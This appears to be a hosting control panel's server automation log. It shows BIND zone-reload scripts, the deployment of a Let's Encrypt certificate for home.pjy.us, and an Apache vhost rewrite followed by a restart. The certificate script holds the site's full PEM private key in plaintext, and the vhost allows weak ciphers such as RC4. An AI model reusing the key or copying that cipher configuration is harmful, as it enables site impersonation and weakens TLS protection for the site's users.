MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= cd9472783c780f51cad2215f6f6180ce
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 06:00:54:
PUT: /tmp/pkp903334
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-12-31 06:00:54:
chmod 755 /tmp/pkp903334; /tmp/pkp903334; rm /tmp/pkp903334
2025-12-31 06:00:57:
rndc: 'freeze' failed: not dynamic
zone reload queued
STDERR:
rndc: 'freeze' failed: not dynamic
2025-12-31 06:00:57:
PUT: /tmp/pkp157483
#!/bin/bash
rndc reload pjy.us 2>&1
2025-12-31 06:00:57:
chmod 755 /tmp/pkp157483; /tmp/pkp157483; rm /tmp/pkp157483
2025-12-31 06:00:57:
zone reload up-to-date
2025-12-31 06:01:08: Establishing a connection
2025-12-31 06:01:09:
PUT: /tmp/pkp801362
#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb
cat > $temp_file <<'endmsg'
ca:cc:16:66:a6:6d:ed:f0:9b:32:be:1e:53:7a:64:1b
-----BEGIN CERTIFICATE-----
MIIE8zCCA9ugAwIBAgISBu3OrS9ZqQDaKfEbrZu+BCzbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjMxMDUwMjM3WhcNMjYwMzMxMDUwMjM2WjAWMRQwEgYDVQQD
Ewtob21lLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALV1
/ME6u7fsdIVMHZNidYnJbOpnfQTGdJAXI1IqKXQBpla3QvmNFjoyVbU9tVzTAP9i
ONG5HR6MHZsX9d9pkl/r+VEkmwgoApwaJJtLgedsPZansJk/c6pr7aAoZhON5CVt
yW7emlkuhWx9T1T6uj8xzsUplGrEUqKbi5t98MryJVUgJ7kOjavOX9mDcqPyKan1
kaWbOKvILsx/fhBGzplWtCRCx+wpkH9DXGaTOf4XPZqGrwcnGP8SlHyfo0BTN2Sl
tOsiGmE/tY+vanR3Pu7jgbhLQ0NOC7nYyy5XXQadSOUlSzzU/eRMpTCv80s/KW1r
rg/EXmsJL6JguNITL9MCAwEAAaOCAhwwggIYMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUqgKoJ1sOfYO7+R4zUMdyGWPdOIUwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtob21lLnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzkyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABm3L+7E4AAAQDAEgwRgIhAKY7t1O665ti
EdRjb9FVH35yP1QnmTwknKX63B2xA4BXAiEA5veLTgGWsA8/gjT+YoC96lrsG4cN
oSMzkkXrYoXBHhAAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAA
AZty/uymAAAEAwBHMEUCIQDUi0HJHTQdVt4RAg3yuKZmHjTR5G2+rlx7u4+GoElf
MwIgA+aZUrXPZ3ikWZ/XAsfvnAlKl0Nfxng17wyMXWz8rh8wDQYJKoZIhvcNAQEL
BQADggEBAL5rbZv+Gyo+4m+BLeQ6Xu632vp/6nfKpu9waRqSjg+Q0K5m4CpUo++l
h529TE/UCAubwbUoakIEmolbumXpLCXRfRJR4NpI5o3pmi08bjgnGVEtXpFVFK9P
vUfvTCCbLoA7CUgK9xczLTSFpBl4ymSR8zcIsd3h83ExNCKrLdI+3NOUlsU4oL9c
nB+VhgrVV81IjuXm1lWoC+sdzgK+0hh+igzLkC9qNuFq27eKkY89HQBqNRWSvc5B
NBc6JJdwusVY81k0BC+LyCFFbiOgyWvpEqBrjFf5GmlRIR+BrRm/KjtJBVHmk6/y
M3gbbuAL03BnCsBYk5Ig8irWL5KEWqo=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC1dfzBOru37HSF
TB2TYnWJyWzqZ30ExnSQFyNSKil0AaZWt0L5jRY6MlW1PbVc0wD/YjjRuR0ejB2b
F/XfaZJf6/lRJJsIKAKcGiSbS4HnbD2Wp7CZP3Oqa+2gKGYTjeQlbclu3ppZLoVs
fU9U+ro/Mc7FKZRqxFKim4ubffDK8iVVICe5Do2rzl/Zg3Kj8imp9ZGlmziryC7M
f34QRs6ZVrQkQsfsKZB/Q1xmkzn+Fz2ahq8HJxj/EpR8n6NAUzdkpbTrIhphP7WP
r2p0dz7u44G4S0NDTgu52MsuV10GnUjlJUs81P3kTKUwr/NLPylta64PxF5rCS+i
YLjSEy/TAgMBAAECggEAGBWtcw4zHTHWs1yLbmT6mcuw15ndx5T5oqhXiU/MSbfw
VoEjdBDsWtQUeSZUHJpq/vqP9RIfUc8iHNQ8z6bpBS9CW6lCpH3+/q4fnrcSal98
+zKNp4F6/isuEnxaNA04s1kTi9Ii5WRd1Cz7qxlOQBYBzjx7FQKyvx9rE7vPCniI
aYN4GRCphHTzmBdtlJlZ9sMDSeliRBsPHQ3iQY3TdxXTarsIeepcpmoRmabu+a48
YHXo/Hj4Zt08k/4mlTFlqUuTagCpS+cjyLiq7QBvWbs4aUjIpM1nI6e57cikjfdj
bVC67FVqgAH/d3/9V/5vFFDWuT5X3V1XkKNgqTCA2QKBgQD6zc63jcif1PjwKwBs
koKXVdcjBoWehVpu7rhKcJqj5ydn7jsx/D/JlF+vbgh2IuyUXXMLNE7B0/zdghBI
SFH93C3I101vpKDfO7k07u9dVQYyzjsDR1RutwHE/2W0/B4e+mT2DjDVgMAQD7sx
C6vqqaPFYItxfXA5znr73nzdywKBgQC5OGdy4+0innm60O4SUzb135rRa97Xe7kZ
draMthTSEbFDGccoEzwA5uUlkerZ+DzVKFlrv10LsvIt5mxB5hFMSg3sLZwIvEis
oRXfLsJsLwe6WYZ1h8DQf2/04MZauWcuXqS4VMmoLYAXEFgL9QjciJlOBoaLfidC
FRZc6xO1GQKBgQCXFRl8uz1rAwl+6/iSbuOaNIynvcsKRjzG7Kk5toGBUMMNOZaR
MupeDTJi5H7WY41uhqjBzB3RZ1lBOpOCZ4Z0zYkLHp+4LEz4jOqxt2mcKJbWTiOA
gxyaoUXAnTVwhBvE/4OIMd47Dxcj1cYm8mf6sXxFbzYxBKZxPDAbv9gqZwKBgEi5
+fylvGX8feW5xdESNaFjdEHIrk5D+VEjSNiFYjV91vF2/LkinEvqXY1b9zAxBYnY
9wuUry85y1f0gwt5D8+5wC+9VOglLhACjDj+/j5GVS15m48oh7AWadpoK9pRtE8D
wH/UYv4TJ5lmxHulch5N0IxPiaLaHQYYi5hegXV5AoGAQlioRnaVJCxiX6aERuAY
lceH/tx2A03hL3zu+qWlCEc3puDBh54P89nWXa/LDoiltlMLkk5hP6I6NkdtcOrF
GKxNqumYSco+TPSfbZS27SxG1L6oU+ZI6KImAIK0wiFoBpPqWNsEtX8uKhf+3BCN
6MKUONT7NaV6evhDZuv1n8A=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-31 06:01:10:
chmod 755 /tmp/pkp801362; /tmp/pkp801362; rm /tmp/pkp801362
2025-12-31 06:01:10:
dir=/etc/ssl/certs
2025-12-31 06:01:11:
PUT: /tmp/pkp787268
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/pjy_home_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 06:01:11:
chmod 755 /tmp/pkp787268; /tmp/pkp787268; rm /tmp/pkp787268
2025-12-31 06:01:11:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_home_us.conf 35
<VirtualHost *:80>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/pjy/home_access.log combined
ErrorLog /var/log/apache2/pjy/home_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/home_secure_access.log combined
ErrorLog /var/log/apache2/pjy/home_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-31 06:01:11:
PUT: /tmp/pkp670053
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/pjy/home_access.log combined
ErrorLog /var/log/apache2/pjy/home_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/home_secure_access.log combined
ErrorLog /var/log/apache2/pjy/home_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi
2025-12-31 06:01:12:
chmod 755 /tmp/pkp670053; /tmp/pkp670053; rm /tmp/pkp670053
2025-12-31 06:01:12:
2025-12-31 06:01:12:
PUT: /tmp/pkp686304
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-31 06:01:12:
chmod 755 /tmp/pkp686304; /tmp/pkp686304; rm /tmp/pkp686304
2025-12-31 06:01:13:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
